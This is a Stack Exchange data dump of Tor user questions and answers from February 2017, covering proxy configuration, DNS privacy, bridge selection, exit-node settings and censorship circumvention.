  <row Id="14150" PostTypeId="2" ParentId="14146" CreationDate="2017-02-22T10:29:57.057" Score="-1" Body="&lt;p&gt;The working syntax for null authentication to the control port is as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;authenticate &quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edited : The documented syntax which you tried, just authenticate, without parameters, is not accepted by Tor (depending on versions) ]&lt;/p&gt;&#xA;" OwnerUserId="14493" LastEditorUserId="14493" LastEditDate="2017-02-22T13:06:05.003" LastActivityDate="2017-02-22T13:06:05.003" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14152" PostTypeId="2" ParentId="14147" CreationDate="2017-02-22T13:50:17.983" Score="0" Body="&lt;p&gt;First of all, you have port 8080 for your Socks5 - it's 9050 in Tor and 1080 or 3128 by default in most of apps. Second - Tor does &lt;strong&gt;not&lt;/strong&gt; touch a packets outside the ones coming to his ports. You have added some environmental variables I think. For &lt;code&gt;wget&lt;/code&gt; there's &lt;strong&gt;no&lt;/strong&gt; socks proxy support, see &lt;a href=&quot;https://www.gnu.org/software/wget/manual/html_node/Proxies.html?&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; for variable names and I think the problem is that you have used polipo or privoxy to channel HTTP+HTTPS requests to SOCKS ones. I do recommend you to use polipo, but it's my personal preference. You bind it to 8080 - and use http schema for request. Also check your user's, root's and global(in /etc folder) bash shell profiles - some guides are also pointing to making aliases for curl there. A good environment vars overvuew can be found &lt;a href=&quot;https://wiki.archlinux.org/index.php/proxy_settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but the proxy vars names are standard and they are &lt;code&gt;http_proxy&lt;/code&gt;, &lt;code&gt;https_proxy&lt;/code&gt;, &lt;code&gt;frp_proxy&lt;/code&gt;, &lt;code&gt;rsync_proxy&lt;/code&gt;, &lt;code&gt;socks_proxy&lt;/code&gt; and for exclusions &lt;code&gt;no_proxy&lt;/code&gt;. Remember that due to the early times these variables must be &lt;em&gt;duplicated in uppercase&lt;/em&gt;, i.e. if you want to set http_proxy - you also set the same value for HTTP_PROXY, just to be fail-safe. For curl also keep in mind that over Tor &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;socks5://&lt;/code&gt; but &lt;code&gt;socks5h://&lt;/code&gt; must be used - it will force name resolution on proxy side, according to the official &lt;a href=&quot;https://curl.haxx.se/docs/manpage.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;. Curl can also be configured via it's &lt;a href=&quot;https://ec.haxx.se/cmdline-configfile.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;config file&lt;/a&gt; where is in key=value format options are specified, so take a look there too. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-22T13:50:17.983" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14155" PostTypeId="2" ParentId="3315" CreationDate="2017-02-22T21:35:48.910" Score="1" Body="&lt;p&gt;In such cases proxies usually performing at least one of the bad tricks like that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MitM attack by intruding into SSL/TLS connecions. Tor will give you an error because for directories it has hardcoded keys and on another screinario proxy just ruins the SSL handshake that it can't intervene into&lt;/li&gt;&#xA;&lt;li&gt;by-ip blocklists for Tor entry guards and directories. Instead of the full list of Tor nodes, a list of directories and entry guards is relatively manageable to block by ip. Your connection will just die when trying to connect to these addresses - or maybe you'll see a 403 error&lt;/li&gt;&#xA;&lt;li&gt;filtering remote/destination ports. If you're trying to connect to the port which is not in the &quot;white list&quot;/&quot;allowed ports list&quot; - it just dies or gets you 403&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All this stuff makes it harder to use Tor, but you should try meek, obfs3 or obfs4 pluggable transports and bridges. This can help you. If they are blocking bridges too - try to use an unpublished bridge on port 443 with obfs3 or obfs4 - you can even make your own&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-22T21:35:48.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14156" PostTypeId="1" AcceptedAnswerId="14157" CreationDate="2017-02-22T22:20:40.827" Score="2" ViewCount="2164" Body="&lt;p&gt;I am wondering if when using Tor my requests are hidden from my DNS servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have set up my computer to use google's IPv6 DNS servers, does google see the domains I am accessing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sorry to have to ask such a seemingly basic question here, but I was really struggling to find a comprehensive answer through search engines.&lt;/p&gt;&#xA;" OwnerDisplayName="user14025" LastActivityDate="2017-02-23T01:53:33.127" Title="Does tor hide traffic from DNS servers?" Tags="|anonymity|security|relays|dns|" AnswerCount="1" CommentCount="0" ClosedDate="2017-02-27T12:28:09.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="14157" PostTypeId="2" ParentId="14156" CreationDate="2017-02-23T01:53:33.127" Score="1" Body="&lt;p&gt;It depends, nowdays. A lot of people are using OpenDNS or Google DNS or other public DNS servers. For good - yes, but Tor routes DNS requests to the exit node to resolve, and sometimes a situation when you have the same open dns as the exit node is not rare. So the answer is - it hides your requests from your ISP DNS servers, but if you use open dns - there's a possibility that you will use the same open one as the exit node.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-23T01:53:33.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14159" PostTypeId="1" CreationDate="2017-02-23T10:58:27.567" Score="0" ViewCount="697" Body="&lt;p&gt;Compared with my previous use of Firefox, browsing with Tor runs very slowly. Is this because Tor Browser is loading ads that you can't se because of ad blockers?&lt;/p&gt;&#xA;" OwnerUserId="16425" LastEditorUserId="435" LastEditDate="2017-02-27T12:24:10.280" LastActivityDate="2017-02-27T12:24:10.280" Title="My Tor Browser runs very slowly" Tags="|load-balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14160" PostTypeId="1" CreationDate="2017-02-23T14:19:36.700" Score="0" ViewCount="179" Body="&lt;p&gt;Since using Tor I cannot login to certain site: e.g., a bitcoin wallet. How can I facilitate this please.&lt;/p&gt;&#xA;" OwnerUserId="16426" LastEditorUserId="71" LastEditDate="2017-02-27T20:49:50.217" LastActivityDate="2017-05-28T21:51:28.837" Title="Login to sites not working" Tags="|blocked-services|login|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14161" PostTypeId="2" ParentId="14159" CreationDate="2017-02-23T16:09:20.810" Score="2" Body="&lt;p&gt;Well, this case can be fixed a bit - if you have a good connection. You need to add &lt;code&gt;IsolateDestAddr&lt;/code&gt; to your &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;SocksPort&lt;/a&gt; directive in config. But be warned - if the website uses multiple (sub)domains - in some rare cases it can misbehave. The method here is to use different circuits for different destination addresses. So ads will be loaded via separate circuit and the parallelism of the whole process will be a bit better. But circuits are circuits - you're not insured from having a slow circuit in any place.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-23T16:09:20.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14162" PostTypeId="2" ParentId="14160" CreationDate="2017-02-23T16:12:48.273" Score="1" Body="&lt;p&gt;It depends on a website and on blocking mechanism used. If it's a by-ip basis block - then all the exit nodes can be disallowed to login and you have no luck. In this case a VPN will help you. If it's not this case - try switching an Exit and you will be lucky one day&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-23T16:12:48.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14165" PostTypeId="1" CreationDate="2017-02-23T19:31:48.590" Score="1" ViewCount="2154" Body="&lt;p&gt;Some music in my SoundCloud android app isn't availaible in my country. How do I get around this using Orbot? I tried switching on Apps VPN mode and selecting SoundCloud, (set location as US first, then UK) but that didn't work. My phone isn't rooted.&lt;/p&gt;&#xA;" OwnerUserId="16434" LastActivityDate="2019-02-20T16:54:41.497" Title="How to bypass Geo blocking on SoundCloud?" Tags="|orbot|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14170" PostTypeId="1" CreationDate="2017-02-25T07:40:46.837" Score="0" ViewCount="6088" Body="&lt;pre&gt;&lt;code&gt;2017/2/25 15:31:20.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:31:30.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:31:30.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:31:30.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:31:30.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2017/2/25 15:31:35.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2017/2/25 15:31:35.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2017/2/25 15:31:40.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;2017/2/25 15:31:40.000 [WARN] 1 connections have failed: &#xA;2017/2/25 15:31:40.000 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2017/2/25 15:31:41.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2017/2/25 15:31:41.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:31:41.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2017/2/25 15:37:46.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:37:46.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:37:46.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:37:46.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2017/2/25 15:38:01.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 2; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;2017/2/25 15:38:01.600 [WARN] 2 connections have failed: &#xA;2017/2/25 15:38:01.600 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2017/2/25 15:38:03.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2017/2/25 15:38:03.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2017/2/25 15:38:03.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16456" LastEditorUserId="9291" LastEditDate="2017-02-25T20:49:12.490" LastActivityDate="2017-03-17T10:22:21.440" Title="In China, Meek-azure and Meek-amazon can not be used, the following is the log, how can we use Meek?" Tags="|help|censorship|meek|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14171" PostTypeId="1" CreationDate="2017-02-25T18:54:08.310" Score="1" ViewCount="70" Body="&lt;p&gt;my ISP limits me to 10Gb per month. I do not want Tor using this.&#xA;However from midnight to 8 am the allowance is not affected so i could run a Tor relay.&#xA;Editing my Windows XP torrc file &lt;code&gt;C:\Documents and Settings\ianstx\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&lt;/code&gt; will start a relay but once 8 am arrives I will replace the &lt;code&gt;torrc&lt;/code&gt; file with the &lt;code&gt;torrc.orig&lt;/code&gt; file, but how can i stop the relay? do i need to [re]start a Tor browser or kill a process or service?&lt;/p&gt;&#xA;" OwnerUserId="14578" LastEditorUserId="88" LastEditDate="2017-03-20T12:18:30.693" LastActivityDate="2017-03-20T12:18:30.693" Title="run Tor relay only my overnight when not deducted from my data allowance" Tags="|relays|windows|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14174" PostTypeId="1" CreationDate="2017-02-25T23:23:06.313" Score="1" ViewCount="2671" Body="&lt;p&gt;One of my websites has been plagued by posts advertising fake dating sites through Tor exit nodes. The Tor project publishes a list of &lt;a href=&quot;https://check.torproject.org/cgi-bin/TorBulkExitList.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;exit nodes&lt;/a&gt; but they contain only IPv4 addresses. Is there any way to fetch IPv6 addresses? &lt;/p&gt;&#xA;" OwnerUserId="16478" OwnerDisplayName="mikhailian" LastActivityDate="2017-02-27T18:36:49.463" Title="List of IPv6 Tor exit nodes?" Tags="|ipv6|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14176" PostTypeId="1" CreationDate="2017-02-26T11:29:25.803" Score="1" ViewCount="21" Body="&lt;p&gt;How can I ensure that the last leg of my tor proxy loop goes through a certain country on request?&lt;/p&gt;&#xA;" OwnerUserId="15243" LastActivityDate="2017-02-26T11:29:25.803" Title="Proxy server configuration on Tor" Tags="|proxy|settings|" AnswerCount="0" CommentCount="1" ClosedDate="2017-02-27T12:23:38.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="14179" PostTypeId="1" CreationDate="2017-02-26T21:21:50.933" Score="1" ViewCount="776" Body="&lt;p&gt;With respect to Tor source code, what is the different between &#xA;1- Circuits&#xA;2- Channels&#xA;3- Connections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how do they relate to each other? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="16345" LastActivityDate="2017-02-27T18:35:08.417" Title="Tor Circuits vs Channels vs Connection" Tags="|circuit|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14182" PostTypeId="1" AcceptedAnswerId="14184" CreationDate="2017-02-26T23:44:03.060" Score="1" ViewCount="966" Body="&lt;p&gt;I always wondered how Tor knows all the nodes in the connection path when the Tor Browser connects to a server. I though that the idea behind the onion routing was to hide nodes from each other, so that node A might know node B, but not node C? How does the Tor Browser than know all of the (three) nodes - from me to the exit node and the final server, like in the following screenshot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bVlvY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVlvY.png&quot; alt=&quot;Tor Circuit Map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16473" LastActivityDate="2017-02-27T02:46:17.503" Title="How does the Tor Circuit Map works?" Tags="|tor-browser-bundle|security|relays|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14184" PostTypeId="2" ParentId="14182" CreationDate="2017-02-27T02:46:17.503" Score="2" Body="&lt;p&gt;The relays do not know the full path through the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client (your local instance of Tor) chooses the path. This means that the client (you) knows the full path, but any single relay in the circuit does not know the full path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to how how it displays it, it retrieves the information from the control port using the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=b1e94492ac661db37fab2efc0182d2b2998d5e3b#n484&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GETINFO&lt;/code&gt;&lt;/a&gt; request for &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=b1e94492ac661db37fab2efc0182d2b2998d5e3b#n617&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;circuit-status&lt;/code&gt;&lt;/a&gt;. Since this command returns additional information, like the SOCKS username and password used, and Tor Button sets the SOCKS username and password credentials use for any given site, it can tell which circuit is assocaited with each site and thus &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/tree/src/chrome/content/tor-circuit-display.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;display the circuit information&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-27T02:46:17.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14185" PostTypeId="1" CreationDate="2017-02-27T04:58:52.197" Score="1" ViewCount="797" Body="&lt;p&gt;I'm getting conflicting views about where wireshark should be used to sniff for traffic. Some say to use the gateway to do it and use it to capture non tor traffic, others say to use the workstation to do it. I am aware that there are leak tests where you do it on the gateway. But for the purpose of utmost anonymity and security where should it be done from? And what would the set up be? My drivers aren't loading in whonix at all when i launch wireshark. I used katoolin script to install kali tools on whonix virtualbox platform. &lt;/p&gt;&#xA;" OwnerUserId="16423" LastActivityDate="2022-04-04T06:03:45.370" Title="How to use wireshark behind whonix?" Tags="|whonix|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14186" PostTypeId="1" AcceptedAnswerId="14187" CreationDate="2017-02-27T11:25:36.383" Score="0" ViewCount="657" Body="&lt;p&gt;Say I wish to use a lot of bridges, and my &lt;code&gt;torrc&lt;/code&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#...&#xA;# other settings &#xA;&#xA;UseBridges 1&#xA;#&#xA;#obfs4 bridges&#xA;Bridge obfs4 so-and-so1&#xA;Bridge obfs4 so-and-so2&#xA;# ... and so on&#xA;#&#xA;#obfs3 bridges&#xA;Bridge obfs3 so-and-so1&#xA;Bridge obfs3 so-and-so2&#xA;# ... and so on&#xA;#&#xA;# fte bridges&#xA;Bridge fte so-and-so1&#xA;Bridge fte so-and-so2&#xA;#&#xA;# and then there's a list of scramblesuit bridges, meek bridges and any other sort of bridges out there&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I actually run tor, how will it choose bridges it'd use? Would the choice be random? Would it prefer &lt;code&gt;obfs4&lt;/code&gt;? Once the choice is made, would it &quot;rotate&quot; bridges? &lt;/p&gt;&#xA;" OwnerUserId="866" LastActivityDate="2017-02-27T13:44:27.420" Title="Tor bridge selection" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14187" PostTypeId="2" ParentId="14186" CreationDate="2017-02-27T12:55:28.127" Score="1" Body="&lt;p&gt;It'll pick the first one listed (in the order they're defined in the config) that works, this was problematic for Tor Browser's default bridges list, because the first bridge(s) in the list would be overloaded and make bootstrapping slow(er). They had to implement functionality to shuffle the set of bridges to avoid this (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18113&quot; rel=&quot;nofollow noreferrer&quot;&gt;#18113&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was previously &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19875&quot; rel=&quot;nofollow noreferrer&quot;&gt;#19875&lt;/a&gt; to address this in tor itself but it looks like this has been superseded by the work on &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/271-another-guard-selection.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;prop-271&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19877&quot; rel=&quot;nofollow noreferrer&quot;&gt;implementation status of prop-271&lt;/a&gt; (which &lt;a href=&quot;https://blog.torproject.org/blog/tor-0301-alpha-new-alpha-series-begins&quot; rel=&quot;nofollow noreferrer&quot;&gt;looks set for 0.3.x&lt;/a&gt;), this should change so as not to use them in the order entered but it will still adhere to trying to use &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters%26quot&quot; rel=&quot;nofollow noreferrer&quot;&gt;one guard(/bridge) for longer&lt;/a&gt;, so it should also &quot;rotate&quot; through them but at the timescale of normal guard rotation (months).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both under the current behaviour or under prop-271 the pluggable transport won't be a factor in the choice of bridge.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-02-27T13:44:27.420" LastActivityDate="2017-02-27T13:44:27.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14188" PostTypeId="2" ParentId="3791" CreationDate="2017-02-27T15:13:53.150" Score="1" Body="&lt;p&gt;This most likely means that your university's network are blocking vanilla Tor. To circumvent this, use meek-amazon pluggable transport which works by making your Tor traffic look like you're trying to access Amazon's CDN services, or use obfs4, or snowflake (to be available soon).&lt;/p&gt;&#xA;" OwnerUserId="16326" LastActivityDate="2017-02-27T15:13:53.150" CommentCount="0" CommunityOwnedDate="2017-02-27T15:13:53.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="14189" PostTypeId="1" CreationDate="2017-02-27T16:49:02.137" Score="1" ViewCount="934" Body="&lt;p&gt;I really want to use the same exitnode each time I use TOR. I want the exitnode to be within the UK. I have just downloaded TOR therefore I'm new to how the setup works etc.&lt;/p&gt;&#xA;" OwnerUserId="16485" LastActivityDate="2017-02-27T18:26:28.397" Title="I want tor to use the same exit node" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ClosedDate="2017-03-02T13:53:22.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="14191" PostTypeId="1" AcceptedAnswerId="14221" CreationDate="2017-02-27T17:59:23.323" Score="6" ViewCount="952" Body="&lt;p&gt;There are multiple Tor clients that I used and they seem to connect to the Tor servers. Tor servers seem to show good performance, despite many spammers hide behind the Tor and all communication passes through the servers several times to obusficate you. The traffic must be huge. Who pays for all that fun?&lt;/p&gt;&#xA;" OwnerUserId="16487" LastEditorUserId="16487" LastEditDate="2017-02-28T09:49:02.813" LastActivityDate="2017-03-02T04:21:07.553" Title="Who pays for the network?" Tags="|network-health|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14192" PostTypeId="2" ParentId="14189" CreationDate="2017-02-27T18:26:28.397" Score="3" Body="&lt;p&gt;It's a very simple two-liner in your &lt;code&gt;torrc&lt;/code&gt; config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;ExitNodes {hash-id-of-your-desired-exit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works like that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;StrictNodes&lt;/a&gt; tells Tor that it &lt;strong&gt;have to&lt;/strong&gt; obey the node restrictions you will impose in your config.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExitNodes&lt;/a&gt; specifies the comma-separated filters for your nodes. In your case - just one&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-27T18:26:28.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14193" PostTypeId="2" ParentId="14191" CreationDate="2017-02-27T18:29:02.357" Score="3" Body="&lt;p&gt;Actually, the people who host the nodes. It's quite common to have an unmetered/unlimited Internet plans, so running a node costs no more than a regular Internet usage. Sometimes people do run it on VPS or physical servers - but if chosen correctly, the cost is near-zero.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-27T18:29:02.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14194" PostTypeId="2" ParentId="14179" CreationDate="2017-02-27T18:35:08.417" Score="-1" Body="&lt;p&gt;Channels &lt;em&gt;usually&lt;/em&gt; mean client-requested TCP pipes, the very good example of channel is &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;SocksPort&lt;/a&gt; options like &lt;em&gt;IsolateDestAddr&lt;/em&gt; and &lt;em&gt;IsolateClientAddr&lt;/em&gt;. So - Channels are related to the client requests &lt;em&gt;channeled&lt;/em&gt; through Tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Circuits are the node-to-node chains for &lt;em&gt;whatever&lt;/em&gt; purpose, i.e. reaching the Clearnet via Exit node or connecting to HiddenService. Circuits are transferring onions and usually noted as &quot;Node A&quot; -&gt; &quot;Node B&quot; -&gt; &quot;Node C&quot;. It's an &lt;em&gt;internode&lt;/em&gt; communication pipes for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connection means a TCP connection as it is - regardless of the place it is made-of/accepted-at : it is a client-to-socks, client-to-TransPort, node-to-directory, node-to-node etc. It's &lt;em&gt;just&lt;/em&gt; a connection&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-27T18:35:08.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14195" PostTypeId="2" ParentId="14174" CreationDate="2017-02-27T18:36:49.463" Score="2" Body="&lt;p&gt;Blacklisting is a shot-in-a-leg practice: if you truly think that spammers are using &lt;em&gt;just&lt;/em&gt; Tor or Darknets - you're wrong. You need to protect your website better with captchas and social network checked logins, not fighting a TCP windmills&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-27T18:36:49.463" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14196" PostTypeId="2" ParentId="14191" CreationDate="2017-02-27T19:35:46.823" Score="7" Body="&lt;p&gt;I pay for it, I run a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You too could help cover the cost of providing the service to users if you have the resources to spare, some time to work through some documentation and the inclination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &quot;What is Tor?&quot; answer on the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#WhatIsTor&quot; rel=&quot;noreferrer&quot;&gt;Tor Project FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor is a program you can run on your computer that helps keep you safe on the Internet. It protects you by bouncing your communications around a distributed network of relays &lt;em&gt;run by volunteers all around the world&lt;/em&gt;: it prevents somebody watching your Internet connection from learning what sites you visit, and it prevents the sites you visit from learning your physical location. This &lt;em&gt;set of volunteer relays&lt;/em&gt; is called the Tor network. The way most people use Tor is with Tor Browser, which is a version of Firefox that fixes many privacy issues. You can read more about how Tor works on the overview page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The relays are run voluntarily for various reasons by similarly aligned organisations, individuals and people who benefit from Tor usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you too would like to volunteer, you may be interest in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#HowDoIDecide&quot; rel=&quot;noreferrer&quot;&gt;&quot;How do I decide if I should run a relay?&quot;&lt;/a&gt; FAQ entry.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-27T19:35:46.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14199" PostTypeId="1" CreationDate="2017-02-27T21:56:44.233" Score="0" ViewCount="137" Body="&lt;p&gt;I recently downloaded the TOR browser. Upon using it for the first time, Microsoft locked me out of my e-mail account and my Google search home page was changed from U.S. to France. I seem to have resolved the Microsoft account issue, but I'm wondering how to reset Google so that it knows my language, and how to avoid these issues moving forward. I like the idea of TOR, but if it screws everything up, what's the point?&lt;/p&gt;&#xA;" OwnerUserId="16490" LastActivityDate="2017-02-28T09:52:54.993" Title="Google display language" Tags="|google|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14200" PostTypeId="1" CreationDate="2017-02-28T00:24:54.500" Score="0" ViewCount="81" Body="&lt;p&gt;The default tor downloader for me never works. I always have to end up manually installing. Is this normal? Or a sign that I'm compromised? thank you &lt;/p&gt;&#xA;" OwnerUserId="16423" LastActivityDate="2017-02-28T00:43:57.590" Title="Whonix tor downloader never works for me. It says its an app and not in the (/.tb) folder?" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14201" PostTypeId="2" ParentId="14200" CreationDate="2017-02-28T00:43:57.590" Score="1" Body="&lt;p&gt;Not normal, but also not a sign for being compromised. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/FAQ#Am_I_compromised.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;Am I compromised?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging your tb-updater issue is not suited for stackexchange, because'd have to provide debug output, answer back and forth several times. If you want to like this out, please post in &lt;a href=&quot;https://forums.whonix.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.whonix.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2017-02-28T00:43:57.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
